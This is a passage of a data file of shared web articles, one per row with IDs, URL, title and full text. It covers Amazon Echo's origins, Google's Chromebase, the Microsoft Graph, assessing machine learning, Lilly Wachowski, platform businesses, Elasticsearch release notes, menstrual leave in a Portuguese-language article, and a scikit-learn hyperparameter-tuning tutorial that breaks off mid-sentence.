with its refrigerators and Ford with its own cars. Not a music device YouTube/Amazon Even as the Echo team made progress solving technology problems, there were questions about the best way to market the gizmo and about what the right ""hook"" would be to get consumers to buy it. That hook was found in internal data: more than 40% of the early Echo testers said their main intent was music-related, according to the early team member. Echo doubled-down on making music a more prominent feature. The very first prototype resembled a smaller hockey puck-sized device, but its size soon expanded to include a more powerful speaker, the person said. ""We needed stuff that people would use a lot and build frequency of engagement,"" the early Echo team member said. ""Music was going to be that thing, the reference point that people know they like."" But music was a double-edged sword in a sense because it could also give the false impression that Echo was simply a music player, and cause people to overlook some of its unique features. Bezos was particularly wary of the Echo being perceived as just a music player, according to the early employee. He understood the importance of using music as an entry point to consumers, but sometimes questioned why the team spent so much time on improving music features. Part of that attitude might have to do with Bezos's lack of music passion, the early employee theorized. When asked to play music on Echo for the first time, Bezos ordered a song from the soundtrack of the movie ""Battlestar Galactica,"" referring it as one of his favorite songs, the person recounted. Regardless, Echo ended up improving its speaker quality and song selection, and it now accounts for roughly 25% of the wireless speaker market, according to research firm 1010 data . It's also been successful at not positioning itself as just a music player. In recent months, it's added new functionalities like checking bank accounts, ordering pizza, or calling an Uber taxi by just talking to it. It's also compatible with internet-connected appliances made by companies Nest and IFTTT, making it a central hub for controlling other connected home devices. AP/Jeff Chiu The next billion dollar opportunity Echo's resounding success seem to have surprised even people internally. Amazon's Limp said the team realized within minutes of taking pre-orders that it picked way too low a number for initial estimates. One of the early employees said Echo hit 1 million pre-orders in less than 2 weeks, a far better pace than the iPhone, which took about 70 days to reach the same milestone. Amazon declined to confirm any of Echo's sales numbers. But all signs point to Echo being one of the biggest hits in Amazon's hardware history. It's been in the market for less than a year, yet it's been met with high demand, consistently ranking in Amazon's best sellers list . Echo was also the top-selling device priced over $100 on Black Friday, and was one of the top 5 items ordered on Christmas Eve through Prime Now, Amazon said. Perhaps the biggest signal that Amazon is banking on Echo's future potential showed up earlier this year when the voice-controlled device was prominently featured in the online store's first-ever Super Bowl ad. It's why some people are convinced that Echo will end up creating Amazon's next billion-dollar business . Limp says the sales numbers aren't a priority at this point. Rather, he's more focused on making the product better and smarter. ""At Amazon, we believe the next big platform is the voice,"" Limp said at a recent press event for Echo. ""What we're trying to do is to build a computer in the cloud that's completely controlled by your voice."" And that's perhaps what makes early team members proud of their work - they reached for the stars and invented what could be the next big technology platform that only seemed possible in science fiction. ""It really felt like working on something you didn't know whether you would ever achieve, but it was worth trying because it was a cool vision,"" one of the early employees told us. ""What nerd kid didn't grow up wishing they had a Star Trek computer?"" Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions.",en
1459688584,CONTENT SHARED,-7367898111498277224,-1032019229384696495,6667035775286625555,,,,HTML,http://googleforwork.blogspot.com/2016/03/Chromebase-for-meetings-makes-video-conferencing-personal-and-simple.html,Chromebase for meetings makes video-conferencing personal and simple,"Since we introduced Chromebox for meetings just over two years ago , many of you have enjoyed how our devices make meetings simple and easy. Companies such as Flipkart, PwC, Pinterest and the State of Wyoming are spending less time setting up their conference calls and more time collaborating as groups across regions in rooms of all sizes with Chromebox for meetings . Today we're making this easy collaboration available in smaller spaces and also improving remote device management. Say hello to the Acer Chromebase for meetings , an all-in-one secure video-conferencing device optimized for use in small meeting areas with up to two people. It's a secure, self updating, easy to manage unit that builds on Chrome and WebRTC innovations for sharper video, audio and screen sharing. Guest account support makes it simple to join a meeting even without a Google account: Just click a meeting link invitation and you're connected. Meet from more places, with more particpants So now, you can collaborate and meet over video from a dedicated device at home, your desk at work or a phone room. And since meeting in smaller spaces creates additional opportunity to work together across larger groups, we've also recently expanded the number of meeting participants to 25 people for Google Apps customers. After testing Chromebase for meetings in its offices, SignalFx sees the benefits. ""Using Chromebase for meetings has been an amazing experience from the start! Right out of the box, it's easy to use and lets us collaborate quickly. The centralized management option allows for full control and oversight, and the price is amazing as well."" - Heidi Olson, Executive Assistant / Office Manager, SignalFx Chromebase for meetings gets technology out of the way; just plug it in, connect it to your network and you're up and running securely. Chromebase for meetings is ideally suited for capturing audio and video in personal and shared workspaces: Large 24-inch adjustable touchscreen display Integrated, adjustable HD camera 4 microphones and 2 stereo speakers Improved management tools for meeting devices We're also happy to announce new features to our remote fleet management tools. Administrators can receive alert notifications and track health of their fleet of Chrome devices for meetings. They can remotely diagnose and troubleshoot audio, video quality and bandwidth problems. Administrators can also customize the interface using their own background images. Chromebase for meetings availability Chromebase for meetings is available at $799 from our partners in the US, Canada, UK, Ireland and Australia. The cost includes the first year's management and support fees. We'll soon after expand availability to additional countries where Chromebox for meetings is available today. You can learn more about Chromebase for meetings on our website . Sign up here to try two Chromebase for meetings devices at no cost for 30 days and receive a special promotion pricing of $549 per device with first year's management and support fee included.* *Subject to approval and limited to the first 1,000 signups",en
1459699308,CONTENT SHARED,2885511262558254418,-1032019229384696495,6667035775286625555,,,,HTML,http://www.businessinsider.com/microsoft-is-taking-its-cues-from-facebook-as-it-totally-shakes-up-office-2016-4,Microsoft is taking its cues from Facebook as it totally shakes up Office,"Getty Images/Brad Barket It's been a while since teenagers thought Facebook was cool, but they still use it more than any other social site . Similarly, the most exciting thing to happen to Microsoft Office in the last ten years was probably the demise of Clippy , and yet it's still the center of many millions of people's working life, even amid mounting competition from the likes of Google and Slack. ""I think people don't understand how much it's loved,"" says Julie Larson-Green, Chief Experience Officer of Microsoft Office. To meet that competitive threat, Microsoft CEO Satya Nadella has ensured that Office comes to every device under the sun, from the Windows PC to the Mac to the iPhone and Android. At this week's Microsoft Build event, the company showcased various efforts designed to make sure that Office stays relevant in a changing world. And although Microsoft did not explicitly mention Facebook as a template for its strategy, there are many obvious parallels between the social network and Microsoft's gameplan for Office. The key is in fully taking advantage of all the data that Microsoft Office has locked up among its billion-plus users, the same way Facebook did to turn into the behemoth it is today. And if it pulls this off, Microsoft will have made Office just as hard to displace as Facebook. The Facebook connection One of the huge advantages that Facebook has over everybody else is how well it's turned its data into a competitive weapon. Facebook takes all of your publicly-facing photos, videos, likes, and shares, and turns it into something that's easy for its billion-plus members to browse and search. That same data is also available to any of the many apps with Facebook integration. A great example are the many games that automatically tell you which of your Facebook friends are also playing. It doesn't do anything you couldn't do for yourself by hand by manually adding their info, but it saves a lot of time. Justin Sullivan/Getty Images This has the added benefit of keeping people on Facebook, even after it stops being cool. Maybe you could live without the core Facebook newsfeed, but the ability to have one-click login into services like Pinterest, Spotify, and Tinder and have all your friends already there is powerful. Now, Microsoft appears to be taking a page out of the same playbook. Microsoft's search for the graph Microsoft Office is, maybe, a lot less fun than all of that. But just like Facebook's Graph, it's a treasure trove of data that can be used in ever-more-interesting new ways. And instead of your friends and photos, it's your coworkers and documents that can and will follow you around. The company calls this the Microsoft Graph , and it became available to developers late last year. At Build this year, Microsoft showed off how DocuSign, a popular document-signing service for the workplace, uses the Microsoft Graph: If you're signed into the DocuSign site with your Office account, it can automatically fill in a coworker's name from your contacts, and then save a copy of the signed document in your team's SharePoint. No, it's not very ""fun"" by most standards. But it means that Office can go everywhere and be everywhere, with everything you do feeding more data into the Microsoft Graph. On a PC, tablet, iPhone, or HoloLens holographic goggles, everything you do reads information from Office, and writes more data back into the Microsoft Graph. It means ""more intelligence throughout"" Office, Larson-Green says. Matt Weinberger/Business Insider In the short term, it means more apps and add-ins for Office that can integrate data from outside places, making the whole thing a little smarter. Looking to the (far) future, it means that if you have a Windows 10-powered connected coffee machine, the Microsoft Graph could learn everybody in an office's drink order, and have it automatically appended to a meeting invitation in Outlook. Again: Nothing you couldn't do yourself. But the more data Office takes in, the more stuff it can do for you automatically, leaving you to focus less on sending e-mails asking if they can sign a form, and more time just getting stuff done. ""I'm excited because it helps people do more with Office,"" says Larson-Green. The challenge ahead is getting developers to build apps that integrate with Office and the Microsoft Graph . But if it succeeds, it'll do for the workplace and productivity what Facebook did for leisure time on a smartphone. And a data-driven Microsoft Office will be just as hard to displace as Facebook has proven itself to be.",en
1459720498,CONTENT SHARED,8049518593334748695,-1443636648652872475,6474351645967409999,,,,HTML,http://techcrunch.com/2016/04/02/how-to-approach-machine-learning-as-a-non-technical-person/,How to approach machine learning as a non-technical person,"The last few years have seen an explosion of interest in machine learning technology and potential applications. As a non-expert, you've probably either had to assess ML technology for your product and business or as a potential investment. The jargon around ML technology is vast, confusing and, unfortunately, increasingly being hijacked by overeager sales teams. This post is not a primer on ML technology; this post won't pretend to give you an explanation of deep learning or any specific technology, because these concepts change frequently and are largely irrelevant to much of the decision making. Instead, this post will address how to assess the technology and determine if it will yield pragmatic business value. Understand the task Ultimately, ML is meant to be used in the context of a given task, a problem with inputs and a way to objectively assess how right or wrong an output is. While you may not understand the technology being used, it's crucial to understand the task. Don't accept vagueness or something poorly defined like ""understanding what a sentence means."" If someone can't explain what their ML actually does independently of technical jargon, it's a bad sign. At a high level there are common kinds of tasks frequently seen in ML: classification, regression and ranking. For instance, image recognition, such as in ImageNet, is a classification task where we have an input image and want to predict the primary subject matter of the image (a photo of a dog, car, etc.). While you may not understand the technology being used, it's crucial to understand the task. Regression is about predicting a real numerical value or values from an input, such as predicting the future value of a home or a stock portfolio. Ranking is about predicting an ordering of items which is ""best"" in a given setting; for instance, in search ranking, we want to order results that are most relevant for a given query and user profile and history. So when you're hearing about an ML pitch of some kind, it's important to take a step back and get an explanation. Understand the evaluation metric Once you understand the task, it's important to understand how the ML system is being evaluated on that task. Typically, people will define a system evaluation metric that gives a quantitative measure of how well the system does on the task. As an example, in image recognition you can report what percent of the time you predict the right category for an image (e.g. I correctly guessed this was an image of a dog). The common ML tasks (classification, regression and ranking) all have standard evaluation metrics with which it would be worth familiarizing yourself. Not having a metric is a very bad sign. It's unfortunately quite common for people to develop very complex algorithms and technology for problems, but not actually develop an objective evaluation metric. Not having a metric is a very bad sign. There's no objective way to actually know whether their ""super deep learning"" actually yields any tangible benefits. When it comes to building ML, or any technology really, for business value, you want to work with people who focus and drive by metrics. A common and frustrating reality is that more complex ML technology does not necessarily mean improvements on evaluation metrics; especially in environments with limited data, simple techniques frequently outperform more complex ones. The corollary of this is if you're building ML, always develop and try simpler methods first. I've personally consulted on many projects where people have heavily invested in ML only to find out something vastly simpler (in more than one case just Naive Bayes) performed at least as well, with an order of magnitude more speed and less development time. Understand how ML improvements impact business metrics The last and trickiest aspect of assessing ML technology is understanding how improvements on the ML task will impact which business metrics and by how much. Sometimes there's a very direct relationship. For instance, for ad placement in search results, the ML metric is typically predicting the probability of ad click-through (possibly weighted by expected CPC). The rate and revenue-generated ad click-through is either a core business metric or closely related to one. In this setting, it makes a lot of sense to invest heavily in ML, because gains will likely improve business metrics. In other settings, the relationship is less clear. For instance, at Netflix, improving movie recommendation quality by 0.5 percent, while difficult, does not necessarily mean that month-over-month subscriber retention will necessary budge (although something like engagement might). As a product owner or investor, it's important that you understand which business metric you want to actually move and whether or not ML improvements might actually yield those changes. Unsurprisingly, this might be part of why Google invests so heavily in ML, because improvements are strongly correlated with key business and financial metrics. On the flip side, for Apple, a 1 percent improvement to Siri has a much weaker and tenuous relationship with how many iPhones are sold. If you want to work on ML in products or invest in the area, it's crucial to understand whether this really is an area where ML can ""move"" the needle. Featured Image: Bryce Durbin",en
1459728625,CONTENT SHARED,1649085803937938638,-1032019229384696495,-1428170416432281222,,,,HTML,http://www.usmagazine.com/celebrity-news/news/-w201210,Lilly Wachowski Makes First Public Appearance Since Coming Out as Transgender,"She's arrived! Lilly Wachowski made her first public appearance since coming out as a transgender woman on Saturday, April 2. The Matrix filmmaker, previously known as Andy Wachowski , attended the GLAAD Media Awards at the Beverly Hilton in Beverly Hills. As previously reported, Wachowski, 48, announced last month that she had transitioned. Her older brother and directing partner, Larry Wachowski , transitioned and changed her name to Lana in 2008. ""I am one of the lucky ones,"" Lilly said in a statement to the Windy City News at the time. ""Having the support of my family and the means to afford doctors and therapists has given me the chance to actually survive this process. Transgender people without support, means and privilege do not have this luxury. And many do not survive."" David Livingston/Getty Images Lilly was just as inspiring on Saturday night. A source tells Us Weekly that she received a massive round of applause and gave a moving speech about the importance of love for the LGBT community. ""OK, first of all, ta-da,"" she said on stage. ""Love is a crucial thing for transgender people. It's a tether."" Lilly also gushed over her wife, Alisa Blasingame. The filmmaker leaned on Blasingame for support after reporters allegedly found out about the transition before she had announced it. ""My sister likes to joke, 'You couldn't write this sh-t',"" Lilly recalled. She added: ""[Thanks to] my wife who put her arms around me when it was all over."" Other stars in attendance at the GLAAD Media Awards included Caitlyn Jenner , Demi Lovato , , Taylor Swift , Queen Latifah , Derek Hough , Patricia Arquette and Ruby Rose . Watch Wachowski on the red carpet in the video above. Can't get enough of Us ? Sign up now for the Us Weekly newsletter packed with the latest celeb news, hot pics and more!",en
1459728978,CONTENT SHARED,-3718969219417182449,-1032019229384696495,-1428170416432281222,,,,HTML,http://techcrunch.com/2016/04/03/platforms-are-the-real-powerhouses-in-silicon-valleys-business-landscape/,Platforms are the real powerhouses in Silicon Valley's business landscape,"One of the most important lessons that Silicon Valley learned, that gives it a strategic advantage, is to think bigger than products and business models: it builds platforms. The fastest growing and most disruptive companies in history - Google, Amazon, Uber, AirBnb, and eBay-aren't focused on selling products, they are building platforms. It goes beyond tech. Companies such as Walmart, Nike, John Deere, and GE are also building platforms for their industries. John Deere, for example, is building a hub for agricultural products . Platforms are becoming increasingly important as all information becomes digitized; as everything becomes an Information Technology and entire industries get disrupted . A platform isn't a new concept, it is simply a way of building something that is open, inclusive, and has a strategic focus. Think of the difference between a roadside store and a shopping center. The mall has many advantages in size and scale and every store benefits from the marketing and promotion done by others. They share infrastructure and costs. The mall owner could have tried to have it all by building one big store, but it would have missed out on the opportunities to collect rent from everyone and benefit from the diverse crowds that the tenants attract. Platform businesses bring together producers and consumers in high-value exchanges in which the chief assets are information and interactions. These interactions are the creators of value, the sources of competitive advantage. The power of platforms is explained in a new book, Platform Revolution : How Networked Markets are Transforming the Economy and How to Make Them Work for You , by Geoffrey Parker, Marshall Van Alstyne, and Sangeet Choudary. The authors illustrate how Apple became the most profitable player in the mobile space with the iPhone by leveraging platforms. As recently as 2007, Nokia, Samsung, Motorola, Sony Ericsson, and LG collectively controlled 90% of the industry's global profits. And then came the iPhone with its beautiful design and marketplaces - iTunes and the App store. With these, by 2015, the iPhone had grabbed 92% of global profits and left the others in the dust. Nokia and the others had classic strategic advantages that should have protected them: strong product differentiation, trusted brands, leading operating systems, excellent logistics, protective regulation, huge R&D budgets, and massive scale. But Apple imagined the iPhone and iOS as more than a product or a conduit for services. They were a way to connect participants in two-sided markets - app developers on one side and app users on the other. These generated value for both groups and allowed Apple to charge a tax on each transaction. As the number of developers increased so did the number of users. This created the ""network effect"" - a process in which the value snowballs as more production attracts more consumption and more consumption leads to more production. By January 2015 the company's App Store offered 1.4 million apps and had cumulatively generated $25 billion for developers. Just as malls have linked consumers and merchants, newspapers have long linked subscribers and advertisers. What has changed is that technology has reduced the need to own infrastructure and assets and made it significantly cheaper to build and scale digital platforms. Traditional businesses, called ""pipelines"" by Parker, Van Alstyne, and Choudary, create value by controlling a linear series of processes. The inputs at one end of the value chain, materials provided by suppliers, undergo a series of transformations to make them worth more. Apple's handset business was a classic pipeline, but when combined with the App Store, the marketplace that connects developers with users, it became a platform. As a platform it grew exponentially because of the network effects. The authors say that the move from pipeline to platform involves three key shifts: From resource control to orchestration. In the pipeline world, the key assets are tangible - such as mines and real estate. With platforms, the value is in the intellectual property and community. The network generates the ideas and data - the most valuable of all assets in the digital economy. From internal optimization to external interaction. Pipeline businesses achieve efficiency by optimizing labor and processes. With platforms, the key is to facilitate greater interactions between producers and consumers. To improve effectiveness and efficiency, you must optimize the ecosystem itself. Value the ecosystem rather than the individual. Rather than focusing on the value of a single customer as traditional businesses do, in the platform world it is all about expanding the total value of an expanding ecosystem in a circular, iterative, and feedback-driven process. This means that the metrics for measuring success must themselves change. But not every industry is ripe for platforms because the underlying technologies and regulations may not be there yet. In a paper in Harvard Business Review on ""transitional business platforms"", Kellogg School of Management professor Robert Wolcott illustrates the problems that Netflix founder Reed Hastings had in 1997 in building a platform. Hastings had always wanted to provide on-demand video, but the technology infrastructure just wasn't there when he needed it. So he started by building a DVDs-by-mail business - while he plotted a long-term strategy for today's platform. According to Wolcott, Uber has a strategic intent of providing self-driving cars, but while the technology evolves it is managing with human drivers. It has built a platform that enables rapid evolution as technologies, consumer behaviors, and regulations change. Building platforms requires a vision, but does not require predicting the future. What you need is to understand the opportunity to build the mall instead of the store and be flexible in how you get there. Remember that business models now triumph products-and platforms triumph business models.",en
1459735664,CONTENT SHARED,-2967429522197137387,2062670502532932588,-6216090216706230969,,,,HTML,https://www.elastic.co/guide/en/elasticsearch/reference/2.3/release-notes-2.3.0.html,2.3.0 Release Notes,Breaking changes edit Deprecations edit New features edit Enhancements edit Bug fixes edit Aggregations Setting bucket on empty aggregation #17264 (issue: #16546 ) Set meta data for pipeline aggregations #16516 (issue: #16484 ) Filter(s) aggregation should create weights only once. #15998 Make missing on terms aggs work with all execution modes. #15746 (issue: #14882 ) Fix NPE in Derivative Pipeline when current bucket value is null #14745 Check lenient_expand_open after aliases have been resolved #15882 (issue: #13278 ) Allocation IndicesStore checks for allocated elsewhere for every shard not alocated on the local node #17106 Prevent peer recovery from node with older version #15775 fixed propagation of autoGeneratedId on document creation #16767 Throw exception if content type could not be determined in Update API #15904 (issue: #15822 ) Highlighting Log uncaught exceptions from scheduled once tasks #15824 (issue: #15814 ) FunctionScoreQuery should implement two-phase iteration. #15602 Add missing index name to indexing slow log #17026 (issue: #17025 ) ParseFieldMatcher should log when using deprecated settings. #16988 Put mapping operations must update metadata of all types. #16264 (issue: #16239 ) Fix serialization of search_analyzer . #16255 Reuse metadata mappers for dynamic updates. #16023 (issue: #15997 ) Fix MapperService#searchFilter(...) #15923 (issue: #15757 ) MapperService: check index.mapper.dynamic during index creation #15424 (issue: #15381 ) Parent/Child Check that parent_type in Has Parent Query has child types #16923 (issue: #16692 ) Percolator Plugin Cloud Azure Plugin Discovery GCE Try to renew sync ID if flush=true on forceMerge #17108 (issue: #17019 ) sync translog to disk after recovery from primary #15832 Reindex API Properly register reindex status #17125 Be much much much careful about context #17122 Make search failure cause rest failure #16889 (issue: #16037 ) Check that _value is used in aggregations script before setting value to specialValue #17091 (issue: #14262 ) Add permission to access sun.reflect.MethodAccessorImpl from Groovy scripts #16540 (issue: #16536 ) Fixes json generation for scriptsort w/ deprecated params #16261 (issue: #16260 ) Do not apply minimum_should_match on auto generated boolean query if the coordination factor is disabled. #16155 Do not apply minimum-should-match on a boolean query if the coords are disabled #16078 (issue: #15858 ) Fix blended terms take 2 #15894 (issue: #15860 ) Snapshot/Restore Task Manager Fix TaskId#isSet to return true when id is set and not other way around #17307 Don't wait for completion of list tasks tasks when wait_for_completion flag is set #17231 Call ensureOpen on Translog#newView() to prevent IllegalStateException #17191 Make sure IndexShard is active during recovery so it gets its fair share of the indexing buffer #16209 (issue: #16206 ) Avoid circular reference in exception #15952 (issue: #15941 ) Initialize translog before scheduling the sync to disk #15881 Catch tragic even inside the checkpoint method rather than on the caller side #15825 Never delete translog-N.tlog file when creation fails #15788 Close recovered translog readers if createWriter fails #15762 (issue: #15754 ) Passthrough environment and network settings to tribe client nodes #16893 Tribe node: pass path.conf to inner tribe clients #16258 (issue: #16253 ) Regressions edit,en
1459767022,CONTENT SHARED,-7660505434580831027,5746645399823844475,2679947461581233081,,,,HTML,http://www1.folha.uol.com.br/mercado/2016/04/1756923-empresa-britanica-adota-licenca-remunerada-no-periodo-menstrual.shtml,Empresa britânica adota licença remunerada no período menstrual,"Divulgação/Coexist A diretora da empresa britânica Coexist, Bex Baxter (centro), e parte da sua equipe no escritório JULIANO MACHADO DE BERLIM Uma pequena empresa de Bristol (Reino Unido) chamada Coexist passa a adotar, a partir deste mês, uma licença-menstruação, pela qual funcionárias terão flexibilidade de ir para casa, se for necessário, e compensar depois as horas não trabalhadas -ou mesmo trabalhar de casa. ""Não fixaremos um número de dias remunerados ao mês porque não queremos associar isso a uma doença. As mulheres precisam de apoio para valorizar seu ciclo, e não se culpar por ele"", afirmou à Folha Bex Baxter, diretora da Coexist, que administra um espaço cultural na cidade. Baxter disse esperar que a iniciativa, considerada inédita no mercado britânico, chame a atenção de empresas maiores -a Coexist tem apenas 24 empregados, dos quais 15 são mulheres. ""Cada companhia tem de analisar o que é melhor, mas o importante é levantarmos a questão."" Ela mesma diz que sofria de dores terríveis, mas esse período diminuiu bastante desde que passou a flexibilizar sua jornada. ""Agora passo um dia trabalhando de casa em vez de três debilitada, sem produzir."" Um dos principais defensores da licenças, o ginecologista britânico Gedis Grudzinskas afirma que grandes corporações teriam até mais facilidade para aplicar a medida. ""Não existe sincronia menstrual, ou seja, ninguém ficaria sem todas as suas funcionárias por um período determinado."" A única grande empresa ocidental que se sabe que adota licença-menstruação remunerada é a Nike. A prática foi implementada em 2007 e se criou um memorando de entendimento para que seus parceiros comerciais também fizessem o mesmo em todos os países onde a empresa atua. preconceito O Brasil não possui legislação sobre a questão nem se sabe de companhias que adotem formalmente a prática por conta própria. Em janeiro, um boato circulou pela internet segundo o qual havia sido aprovada uma lei que permitia às mulheres três dias de descanso em casa por mês. O direito à licença-menstruação existe há décadas em vários países asiáticos, mas esbarra no medo que as mulheres têm de serem discriminadas caso o utilizem. O Japão foi o primeiro a introduzir a prática, em 1947, em meio à necessidade de atrair mão de obra feminina no combalido mercado pós-Segunda Guerra. A lei diz que cabe às empresas decidir o período da licença e se será remunerada. Na prática, porém, quase nenhuma mulher deixa de trabalhar por cólica menstrual. Na China, três províncias já adotam a licença -a última, Anhui, desde 1º de março. Nas redes sociais locais, a reação das mulheres foi de ceticismo sobre como isso será encarado por patrões, quase sempre homens. ""Parece que protege nossos direitos, mas no fim vai fazer as coisas piorarem"", escreveu @Woshiyamiedie.",pt
1459768076,CONTENT SHARED,3394403706511230595,-1443636648652872475,-2305829160678551058,,,,HTML,http://blog.cambridgecoding.com/2016/04/03/scanning-hyperspace-how-to-tune-machine-learning-models/,Scanning hyperspace: how to tune machine learning models,"Introduction When doing machine learning using Python's scikit-learn library , you can often get reasonable predictive performance by using out-of-the-box settings for your models. However, the payoff can be huge if you invest at least some time into tuning models to your specific problem and dataset. In the previous post , we explored the concepts of overfitting, cross-validation, and the bias-variance tradeoff. These ideas turn out to be central to doing a good job at optimizing the hyperparameters (roughly, the settings) of algorithms. In this post, we will explore the concepts behind hyperparameter optimization and demonstrate the process of tuning and training a random forest classifier. You'll be working with the famous (well, machine learning famous!) wine dataset , which contains features of different quality wines, like the acidity and sugar content, as well as a quality rating. Our goal is to tune and apply a random forest to these features in order to predict whether a given wine is nice or not. The steps we'll cover in this blog post can be summarized as follows: Let's get cracking. Loading and exploring the dataset You start off by collecting the dataset. It can be found both online and in our GitHub repository, so you can also just fetch it with wget (note: make sure you first type pip install wget into your terminal since wget is not a preinstalled Python library). This command will download a copy of the dataset to your current working directory. import wget import pandas as pd # Import the dataset data_url = ' dataset = wget.download(data_url) dataset = pd.read_csv(dataset, sep="";"") If you're interested in getting to know the wine dataset graphically, check out a previous post on using the plotly library to make interactive plots of the wine features here . Let's have a brief look at the data: # Take a peak at the first few columns of the data first_5_columns = dataset.columns[0:5] dataset[first_5_columns].head() You can examine the dimensions of the dataset and the column names: # Examine shape of dataset and the column names print (dataset.shape) print (dataset.columns.values) (1599, 12) ['fixed acidity' 'volatile acidity' 'citric acid' 'residual sugar' 'chlorides' 'free sulfur dioxide' 'total sulfur dioxide' 'density' 'pH' 'sulphates' 'alcohol' 'quality'] So, it looks like you have a dozen features to play with, and just under 1600 data points. Get some summary statistics on the features using describe() : # Summarise feature values dataset.describe()[first_5_columns] The distribution of the outcome variable quality is a bit funky - the values are mostly 5 and 6 (how would you check this?). This could get a bit irksome later on, so go ahead and recode the quality scores into something more convenient. One idea would be to label wines as being either high quality (e.g. if their score is 6 or higher) or low quality (if the score is 6 or lower). You could encode this with a 1 representing high quality and 0 representing low quality, like so: # Using a lambda function to bin quality scores dataset['quality_is_high'] = dataset.quality.apply(lambda x: 1 if x >= 6 else 0) Now convert the pandas dataframe into a numpy array and isolate the outcome variable you'd like to predict ('quality_is_high'). This conversion is needed to feed the data into the machine learning pipeline: import numpy as np # Convert the dataframe to a numpy array and split the # data into an input matrix X and class label vector y npArray = np.array(dataset) X = npArray[:,:-2].astype(float) y = npArray[:,-1] Now that you have the dataset set up, the machine learning can begin. First, you have to split the dataset into a training and test set (see previous post for an explanation of why this is a good idea): from sklearn.cross_validation import train_test_split # Split into training and test sets XTrain, XTest, yTrain, yTest = train_test_split(X, y, random_state=1) Setting up a Random Forest You are now going to try to predict what is a high quality wine using a random forest classifier. Chapter 8 of the Introduction to Statistical Learning book provides a truly excellent introduction to the theory behind classification trees, bagged trees, and random forests. It's well worth a read if you have time. Briefly, random forests build a collection of classification trees , where each tree tries to classify data points into classes by recursively splitting the data on the features (and feature values) that separate the classes best. Each tree is trained on bootstrapped data, and each bifurcation point is only allowed to 'see' a subset of the available variables when deciding on the best split. So, these two elements of randomness are introduced when constructing each tree, which means that a variety of different trees are built. The random forest then ensembles these base learners together, i.e. it combines these trees into an aggregated model. In the end, when you want to classify a new data point, the individual trees each make their individual predictions and the random forest surveys these opinions and accepts the majority position. This approach often leads to improved accuracy, generalizability, and stability in the predictions. Predicting wine quality with a random forest Out of the box, scikit's random forest classifier performs reasonably well on the wine dataset: from sklearn.ensemble import RandomForestClassifier from sklearn import metrics rf = RandomForestClassifier() rf.fit(XTrain, yTrain) rf_predictions = rf.predict(XTest) print (metrics.classification_report(yTest, rf_predictions)) print (""Overall Accuracy:"", round(metrics.accuracy_score(yTest, rf_predictions),4)) precision recall f1-score support 0.0 0.74 0.81 0.77 188 1.0 0.82 0.75 0.78 212 avg / total 0.78 0.78 0.78 400 ('Overall Accuracy:', 0.7775) The model has an overall accuracy around the 0.78 mark (there is some variability in this value - try rerunning the code block several times, or setting different seeds using random_state ). This means that 78% of the time, your model is able to predict the right class when given the test data. In other words, it can distinguish pretty well between a good and a bad wine based on their chemical properties. Next up, you are going to learn how to pick the best values for the hyperparameters of the random forest algorithm in order to get better models with (hopefully!) even higher accuracy than this baseline. Better modelling through hyperparameter optimization We've glossed over what a hyperparameter actually is. Let's explore the topic now. Often, when setting out to train a machine learning algorithm on your dataset of interest, you must first specify a number of arguments or hyperparameters (HPs). An HP is just a variable than influences the performance of your model, but isn't directly tuned during model training. For example, when using the random forest algorithm to do classification, you have to set the value of the hyperparameter n_estimators ahead of time, before training commences. n_estimators controls the number of individual trees in the random forest ensemble. The more the better (with diminishing returns), but more trees come at the expense of longer training time. As mentioned above, scikit-learn generally provides reasonable hyperparameter default values, such that it is possible to quickly build a random forest classifier by simply typing RandomForestClassifier() and then fitting it to your data. You can get the documentation on what hyperparameter values the classifier has automatically assumed, but you can also examine model details directly using get_params : # Create a default random forest classifer and print its parameters rf_default = RandomForestClassifier() print(rf_default.get_params) You can see that n_estimators takes on a default value of 10. Other hyperparameters include max_features , which controls the size of the random selection of features the algorithm is allowed to consider when splitting a node. The default is max_features='auto' , where the auto refers to sqrt of the number of all features in classification problems. So for instance, if you have 16 features in total, then trees are restricted to considering only 4 features at each bifurcation point (instead of searching all features for the best split). Other important HPs include the max_depth , which restricts the depth of the trees you grow, and criterion , which dictates how trees calculate the class purity resulting from splits. As you saw above, the default settings for random forests do a good job. But it's a good idea to try to improve your learning algorithm's performance. But how do you know what values to set the hyperparameters to in order to get the best performance from your learning algorithms? You optimize hyperparameters in exactly the way that you might expect - you try different values and see what works best. However, some care is needed when deciding how exactly to measure if certain values work well, and which strategy to use to systematically explore hyperparameter space . Tuning your random forest In order to build the best possible model that does a good job at describing the underlying trends in a dataset, you need to pick the right HP values. The most basic strategy to do this would be just to test different possible values for the HPs and see how the model performs. Let's try out some random HP values: # manually specifying some HP values hp_combinations = [ {""n_estimators"": 2, ""max_features"": None}, # all features are considered {""n_estimators"": 5, ""max_features"": 'log2'}, {""n_estimators"": 9, ""max_features"": 'sqrt'} ] You can manually write a small loop to test out how well the different combinations of these potential HP values fare (later, you'll see better ways to do this): # test out different HP combinations for hp_combn in hp_combinations: # Train and output accuracies rf = RandomForestClassifier( n_estimators=hp_combn[""n_estimators""], max_features=hp_combn[""max_features""] ) rf.fit(XTrain, yTrain) rf_predictions = rf.predict(XTest) print ('When n_estimators is {} and max_features is {}, test set accuracy is {}'.format( hp_combn[""n_estimators""], hp_combn[""max_features""], round(metrics.accuracy_score(yTest, rf_predictions),2)) ) When n_estimators is 2 and max_features is None, test set accuracy is 0.71 When n_estimators is 5 and max_features is log2, test set accuracy is 0.78 When n_estimators is 9 and max_features is sqrt, test set accuracy is 0.78 Looks like the last combinations of HPs might be doing better. However, manually searching for the best HPs in this way is not efficient, it's a bit random, and is liable to miss good combinations. There is, however, a solution - grid search . Grid search Traditionally and perhaps most intuitively, scanning for good HPs values can be done with grid search (also called parameter sweep). This strategy exhaustively searches through some manually prespecified HP values and reports the best option. It is common to try to optimize multiple HPs simultaneously - grid search tries each combination of HPs in turn and reports the best one, hence the name 'grid'. This is a more convenient and complete way of searching through hyperparameter space than manually specifying combinations. For instance, you could build a grid like this: Using these commands: import itertools n_estimators = [2, 5, 9] max_features = [None, 'log2', 'sqrt'] hp_combinations = list(itertools.product(n_estimators, max_features)) print (hp_combinations) print (""The number of HP combinations is: {}"".format(len(hp_combinations))) [(2, None), (2, 'log2'), (2, 'sqrt'), (5, None), (5, 'log2'), (5, 'sqrt'), (9, None), (9, 'log2'), (9, 'sqrt')] The number of HP combinations is: 9 However there is a massive pitfall here! Scanning through all possible combinations of HPs to build models and evaluating them on the test set will output the combination of parameters that does best, but these values might not generalise well. This approach is less misguided than trying to optimize models by evaluating them on the training set, but is still not ideal. The problem is that during 